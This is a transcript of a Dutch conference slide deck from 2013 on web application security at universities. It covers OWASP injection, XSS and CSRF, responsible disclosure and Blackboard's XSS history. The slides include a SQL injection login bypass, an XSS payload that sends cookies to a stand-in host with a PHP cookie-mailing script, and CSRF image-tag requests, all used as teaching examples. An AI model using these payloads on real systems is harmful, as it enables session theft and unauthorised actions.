sislink13 - 20/6- ronde 1 - help, mijn website is lek! - jeffeny hoogervorst
DESCRIPTION
TRANSCRIPT
Help, mijn website is lek!
Jeffeny Hoogervorst
SISLINK 20 juni 2013
Jeffeny Hoogervorst LLM, CISSP ECSA CEH CPTE
Over
Werkzaam: § Tilburg University (UvT)
(Application and Services Management : Blackboard)
§ UvT-CERT
(Computer Incident Respons Team Tilburg University )
§ SCIRT
(Group manager “Software Audits” )
§ SURFcert
(Computer Incident Respons Team SURFnet)
14:15 uur – 15:10 uur
Agenda
§ Security & (web)applicaties
§ Kwetsbaarheden in (web) applicaties
§ Responsible Disclosure
§ Security binnen uw organisatie
§ Blackboard
§ Voorbeeld misbruik insecure website
§ Discussie
§ Vragen
Security & (web)applicaties
Agenda
Security & (web)applicaties
http
s://w
ww
.sec
urity
.nl/a
rtike
l/464
55/1
/Uits
chak
elen
_fire
wal
l_ko
st_u
nive
rsite
it_30
0.00
0_eu
ro.h
tml
Security & (web)applicaties
http
s://w
ww
.sec
urity
.nl/a
rtike
l/452
39/1
/Onv
ersl
eute
lde_
dvd_
kost
_toe
zich
thou
der_
175.
000_
euro
.htm
l
Security & (web)applicaties
Bro
n: h
ttps:
//ww
w.s
ecur
ity.n
l/arti
kel/4
5231
/1/C
BP
_pub
licee
rt_ric
htlij
n_vo
or_b
evei
ligin
g_pe
rsoo
nsge
geve
ns.h
tml
Security & (web)applicaties
Bro
n: h
ttps:
//ww
w.s
ecur
ity.n
l/arti
kel/4
5231
/1/C
BP
_pub
licee
rt_ric
htlij
n_vo
or_b
evei
ligin
g_pe
rsoo
nsge
geve
ns.h
tml
Security & (web)applicaties
§ Wie koopt een software pakket binnen de instelling? § Aandacht voor security bij aanschaf? § Security verantwoordelijke betrokken bij aanschaf? § Koop je bv een SIS of een Secure SIS? § Kun je er zomaar van uitgaan dat een softwarepakket veilig is?
Security & (web)applicaties
§ Wie is verantwoordelijk voor de veiligheid van een software product? § Wie controleert de veiligheid?
Kwetsbaarheden in (web)applicaties
Kwetsbaarheden in (web)applicaties
Pijlers security (CIA)
§ Beschikbaarheid (Availability)
§ Integriteit (Integrity)
§ Vertrouwelijkheid (Confidentiality)
Kwetsbaarheden in (web)applicaties
§ Wat is een kwetsbaarheid (vulnerability)?
§ Beveiligingsprobleem
§ Een zwakte in een product die een kwaadwillende de mogelijkheid geeft om 1 of meer pijlers van de security te misbruiken/schaden.
Kwetsbaarheden in (web)applicaties
Kwetsbaarheden in (web)applicaties
http
s://w
ww
.ow
asp.
org
A1: Injection
http
s://w
ww
.sec
urity
.nl/a
rtike
l/425
57/1
/Ned
erla
nd_i
n_To
p_5_
SQ
L_In
ject
ie-a
anva
llen.
htm
l
§ Data → applicatie → geen/slechte input validatie § Query verwerkt door database § Spelen met SQL query's SELECT fieldlist FROM tablename WHERE fieldname = '$SOMEVALUE';
A1: Injection
Voorbeeld: query vanuit webpage zoekt een id als username en password combinatie gevonden is, als result id >0 dan inloggen Wat wordt verwacht? SELECT id FROM users WHERE username = 'hans' AND password = ’geheim'; ID ---------- 344
A1: Injection
A1: Injection
§ Een willekeurig inlog form § Hier kan bijvoorbeeld een query achter zitten als hieronder weergegeven: SELECT id FROM users WHERE username = ’<input User ID>' AND password = ’<input Password>';
A1: Injection
§ Stel je ontdekt dat username is hans maar we weten het wachtwoord niet: § In SQL 'x'='x' = always true § Password = iets' OR 'x'='x § Wat zou het resultaat zijn? SELECT id FROM users WHERE username = 'hans' AND password = 'iets' OR 'x'=’x';
A1: Injection
http://imgs.xkcd.com/comics/exploits_of_a_mom.png
A3:Cross Site Scripting (XSS)
http
s://w
ww
.sec
urity
.nl/a
rtike
l/436
24/1
/Cro
ss-s
ite_s
crip
ting_
wee
r_gr
oots
te_w
ebdr
eigi
ng.h
tml
A3:Cross Site Scripting (XSS)
§ Cross Site Scripting (aka CSS XSS) § Web-based applicaties § Webapplicatie met mogelijkheid van user input § Geen/slechte user input validatie § Code injected door kwaadwillende § Webserver stuurt kwaadwillende code naar browser bezoeker § Toegang tot gevoelige data van andere gebruikers (denk aan cookies e.d.) d.m.v. scripting
A3:Cross Site Scripting (XSS)
§ Een manier om via een legitieme website niet-legitieme code te sturen naar de browser van de gebruiker. http://www.server.com/index/php?name=<script>alert('XSS')<script> § Cross Site Scripting is een vorm van computer security gerelateerd misbruik. Waar informatie waar het niet vertrouwd is, meegestuurd wordt vanuit een context waar het wel vertrouwd wordt.
A3:Cross Site Scripting (XSS)
Het volgende voorbeeld geeft weer hoe een pagina vanaf een andere locatie kan worden ingevoegd. Dit heet Remote File Inclusion (RFI) en is vooral in PHP-omgevingen populair. http://www.mijninstelling.nl/menu.php?user=<script>document.location= "http://www.example.com/steal.php?cookie=" + document.cookie</script> De inhoud van het genoemde steal.php-script is hieronder weergegeven. <?php $cookie = $HTTP_GET_VARS["cookie"]; mail("[email protected]", "Cookie stealer report", $cookie); ?> Het resultaat is dat de cookies van mijninstelling.nl, opgeslagen in de browser van de bezoeker, vervolgens per e-mail verstuurd worden naar [email protected].
A8:Cross-site request forgery (CSRF)
§ Session riding § Called “sea-surf” § One-click attack
§ Aanvallers dwingen een gebruiker tot het indienen van een actie in een webapplicatie zonder hun toestemming of kennis daarvan en verstuurd deze actie via de geverifieerde
gebruiker en onder zijn/haar credentials.
A8:Cross-site request forgery (CSRF)
§ Voorbeeld 1: Peter werkt bij auto garage “het vijfde wiel” en kan via de groothandel via een webformulier, nadat hij is ingelogd, auto’s bestellen. https://bmw.nl/clickbuy?acct=PETER&car=BMWZ4&quantity=1 § Voorbeeld 2: Gerrie werkt op de studenten administratie van een Universiteit in Nederland en kan via het intranet de accounts van studenten en Medewerkers aanpassen. http://10.0.0.1/admin/terminate_employee.php?emp_id=123456
A8:Cross-site request forgery (CSRF)
§ En toen ging het mis … Gerrie is de hele dag ingelogd in het studenten administratie systeem van de Universiteit. In de pauze krijgt ze een mail van Hans om een blog te bezoeken: <img src="http://10.0.0.1/admin/terminate_employee.php?emp_id=123456" Height=“1” width=“1”/>
A8:Cross-site request forgery (CSRF)
§ Cross-Site Scripting misbruikt het vertrouwen dat een gebruiker heeft in een website of webapplicatie § CSRF misbruikt het vertrouwen dat een server heeft m.b.t. de gebruiker
Kwetsbaarheden in (web)applicaties
§ Let op: 1) Het testen van de security van applicaties zonder uitdrukkelijke toestemming van de beheerder/eigenaar kan in strijd zijn met de wet! 2) Pas op met het testen in een productieomgeving. Er is altijd de kans dat er iets stuk gaat!
Responsible Disclosure
Responsible Disclosure
Responsible Disclosure
Wie vinden er vulnerabilities en waarom? § Fabrikant zelf om product te verbeteren § Ingehuurde pentesters door fabrikant § Pentesters bij gebruikers (bv security team Universiteit) § Eindgebruikers voor eigen gewin binnen de organisatie § Bad guys voor het doorverkopen van kwetsbaarheden § …
Responsible Disclosure
Issue gevonden, en dan? § Issue gevonden, neem contact op met vendor § Reactie? § Publiek maken? § Benadelen andere instellingen/gebruikers?
Responsible Disclosure Omschrijving responsible disclosure NCSC
“Responsible disclosure binnen de ICT-wereld is het op een verantwoorde wijze en in gezamenlijkheid tussen melder en organisatie openbaar maken van ICT-kwetsbaarheden op basis van een door organisaties hiervoor vastgesteld beleid voor responsible disclosure” “Responsible disclosure kan een goede bijdrage leveren aan het verhogen van de veiligheid van informatiesystemen en (software)producten.” Leidraad responsible disclosure https://www.ncsc.nl/actueel/nieuwsberichten/leidraad-responsible-disclosure.html
Security binnen uw organisatie
Security binnen uw organisatie
Security binnen uw organisatie Security binnen de SURFnet omgeving § Lokale Informatie Beveiligings Officier
§ IBO (platform van informatiebeveiligers) § Lokale Security Officers / Security Teams binnen eigen organisatie § Lokale CERT's (Computer Emergency Respons Team) http://www.surfnet.nl/nl/Thema/surfcert/teams/Pages/CERTteams.aspx § SCIRT (SURFnet Community van Incident Response Teams) http://www.surfnet.nl/nl/Thema/beveiliging/scirt/Pages/scirt.aspx § SURFcert http://www.surfnet.nl/nl/Thema/surfcert/Pages/Default.aspx
Blackboard
Blackboard
Blackboard
§ 2008 eerste XSS issue aangemeld bij Blackboard § Time to fix ongeveer 2 jaar § Weinig aandacht security
§ 2010: Nieuwe Security Director bij Blackboard
§ Time to fix 6 maanden § Veel aandacht voor security § Security problemen structureel niet 1,2,3 opgelost
Blackboard
§ 2011: 14 XSS issues aangemeld bij Blackboard voor 9.1 SP4 § 2011: 16 XSS issues aangemeld bij Blackboard voor 9.1 SP7 § 2011: 28 XSS issues aangemeld bij Blackboard voor 9.1 SP8 § 2012: 32 XSS issue aangemeld bij Blackboard voor 9.1 SP9 § 2013: 9 XSS issues aangemeld bij Blackboard voor 9.1 SP10/11 § 2013: 1 XSS issues aangemeld bij Blackboard voor 9.1 SP12
§ Niet alle aangemelde issues ook daadwerkelijk geverifieerd als security issue. § Sommige tests alleen, sommige tests i.s.m. andere instellingen.
Blackboard
Conclusie (deel) security test Blackboard 9.1 SP12 Blackboard 9.1 SP12 biedt t.o.v. de voorgaande versies qua security zeer sterke verbeteringen en is zelfs tot een acceptabel niveau gekomen. Misbruik onder de role student is zelfs moeilijk te noemen. Onder de role Instructor/Teaching Assistants acceptabel maar kan nog verbeterd worden. Met de wetenschap dat er altijd wel security issues in software producten ontdekt zullen worden, de aandacht die security momenteel binnen Blackboard heeft en het beperkte aantal issues dat in deze test naar boven gekomen is, is deze versie als eerste qua security acceptabel te noemen.
Blackboard
Blackboard
§ Blackboard 9.1 SP13 released 19 juni 2013
§ Vertrouwen in Blackboard (Security) opgebouwd in 3 jaar na dieptepunt.
Veiligheid overige applicaties onderwijs?
§ Hoe zit het met de veiligheid van de overige applicaties in het onderwijs?
Voorbeeld misbruik insecure website
Voorbeeld misbruik insecure website
Voorbeeld misbruik insecure website
WebGoat voorbeelden § 3 x demo
Discussie
Discussie
Discussie
Stelling 1: § Instellingen zijn zelf verantwoordelijk voor de security tests alsmede de veiligheid voor het gekochte product.
Discussie
Stelling 2: § Fabrikanten van software producten moeten binnen redelijke termijn reageren op meldingen m.b.t. security issues en deze kostenloos repareren.
Discussie
Stelling 3: § Wanneer een instelling een vulnerability openbaar maakt dan heeft mijn instelling hier last van omdat wij niet zo snel kunnen upgraden als we zouden willen.
Vragen?
Vragen?